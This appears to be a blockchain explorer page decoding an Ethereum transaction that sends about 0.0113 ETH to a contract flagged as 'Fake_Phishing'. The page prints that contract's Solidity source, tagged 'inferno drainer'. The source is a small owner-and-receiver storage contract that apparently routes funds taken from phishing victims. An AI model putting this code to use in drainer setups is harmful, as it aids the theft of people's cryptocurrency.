ETH Price: $2,960.34 (+0.77%)

Transaction Decoder

Block:
22890126 at Jul-10-2025 04:58:59 PM +UTC
Transaction Fee:
0.000650241240802892 ETH $1.92
Gas Used:
61,486 Gas / 10.575435722 Gwei

Emitted Events:

162 0x00006d6d6e310d92d55f2885d727c369aea90000.0x874202c9472a018d1d4624c52f6f04b6805828c59cd38552cd1d32066797e5f7( 0x874202c9472a018d1d4624c52f6f04b6805828c59cd38552cd1d32066797e5f7, 0x0000000000000000000000006e334029ad2b8699e60e8ea9479d745faffb8af4, 00000000000000000000000000000000000000000000000000282335598b27e3, 00000000000000000000000000000000000000000000000000000000686ff153 )

Account State Difference:

  Address   Before After State Difference Code
0x00006D6d...9Aea90000 0.091477799760987038 Eth0.102775510871944065 Eth0.011297711110957027
(Titan Builder)
14.874726866852345531 Eth14.874849838852345531 Eth0.000122972
0x6e334029...fAfFb8aF4
0.02699 Eth
Nonce: 0
0.015042047648240081 Eth
Nonce: 2
0.011947952351759919From: 0 To: 22892026855592066050609947431602401211538835161166308139

Execution Trace

0x6e334029ad2b8699e60e8ea9479d745faffb8af4.e9ae5c53( )
  • ETH 0.011297711110957027 Fake_Phishing1295041.CALL( )
    • StorageContract.CALL( )
    • Fake_Phishing1295041.STATICCALL( )
      // @mr_inferno_drainer / inferno drainer
      
      pragma solidity ^0.8.6;
      
      contract StorageContract {
          address public nativeCryptoReceiver;
          address[] public owners;
      
          constructor(address defaultNativeCryptoReceiver, address firstOwner) {
              nativeCryptoReceiver = defaultNativeCryptoReceiver;
              owners.push(firstOwner);
          }
      
          modifier onlyOwner() {
              bool isOwner = false;
              for (uint256 i = 0; i < owners.length; i++) {
                  if (msg.sender == owners[i]) {
                      isOwner = true;
                      break;
                  }
              }
              require(isOwner, "Caller is not an owner");
              _;
          }
      
          function addOwner(address newOwner) public onlyOwner {
              owners.push(newOwner);
          }
      
          function getOwners() public view returns (address[] memory) {
              return owners;
          }
      
          function removeOwner(address ownerToRemove) public onlyOwner {
              uint256 index = type(uint256).max;
      
              for (uint256 i = 0; i < owners.length; i++) {
                  if (owners[i] == ownerToRemove) {
                      index = i;
                      break;
                  }
              }
      
              require(index != type(uint256).max, "Owner not found");
              require(owners.length > 1, "Cannot remove the last owner");
      
              owners[index] = owners[owners.length - 1];
              owners.pop();
          }
      
          function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
              public
              onlyOwner
          {
              nativeCryptoReceiver = newNativeCryptoReceiver;
          }
      }